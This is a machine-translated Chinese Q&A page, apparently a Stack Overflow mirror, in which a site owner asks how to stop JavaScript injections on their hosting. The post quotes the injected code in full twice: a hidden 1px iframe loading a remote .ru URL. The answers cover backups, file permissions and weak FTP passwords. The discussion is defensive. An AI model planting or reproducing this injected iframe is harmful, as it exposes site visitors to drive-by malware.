ftp
  • web-hosting
  • spam
  • virus
  • 2012-12-31 54 views 0 likes 
    0

    今天早上加入到服務器頁我注意到,一些JavaScript已添加到我的託管網站。當我下載的網頁代碼就像 <!--04b037--><script type="text/javascript"language="javascript"> (function() { var ipexz = document.createElement('iframe'); ipexz.src = 'http://nypmivhy.ru/count5.php'; ipexz.style.position = 'absolute'; ipexz.style.border = '0'; ipexz.style.height = '1px'; ipexz.style.width = '1px'; ipexz.style.left = '1px'; ipexz.style.top = '1px'; if (!document.getElementById('ipexz')) { document.write('<div id=\'ipexz\'></div>'); document.getElementById('ipexz').appendChild(ipexz); }})();</script><!--/04b037--> 而在登錄頁面:Javascript代碼自動

    (function() { var usyux = document.createElement('iframe'); usyux.src = 'http://nypmivhy.ru/count5.php'; usyux.style.position = 'absolute'; usyux.style.border = '0'; usyux.style.height = '1px'; usyux.style.width = '1px'; usyux.style.left = '1px'; usyux.style.top = '1px'; if (!document.getElementById('usyux')) { document.write(' 
    '); document.getElementById('usyux').appendChild(usyux); }})();" method="post"> Email 
    

    我猜它的病毒/垃圾郵件攻擊。雖然我現在刪除了JavaScript代碼,但我想要如何阻止我的網站免受此類攻擊。注意:我的FTP密碼非常微弱。

    +0

    你不「刪除」注入代碼後,您可以將該網站還原爲已知良好的備份,並立即採取措施防止重複進入。如果您的網站上的所有內容都沒有備份和版本控制,那麼您不僅浪費自己的時間,還會浪費自己的時間,而且還會浪費我們的一般互聯網時間。 – tripleee

    回答

    1

    檢查文件的權限是正確的,否則它可能是代碼注入。

    看看這個:

    http://ag.arizona.edu/ecat/web/permissions.html

    還有,你必須設置爲文件的3個主要的權限:

    read from the file 
    write to the file 
    execute the file 
    

    這裏是權限

    摘要enter image description here

    2

    NB:我的FTP密碼是非常薄弱。

    你知道你在做什麼錯了,還是你問?首先解決這個問題,同時保護您的計算機,如果您使用的是腳本,請查看黑客入侵日誌並使其安全。

    相關問題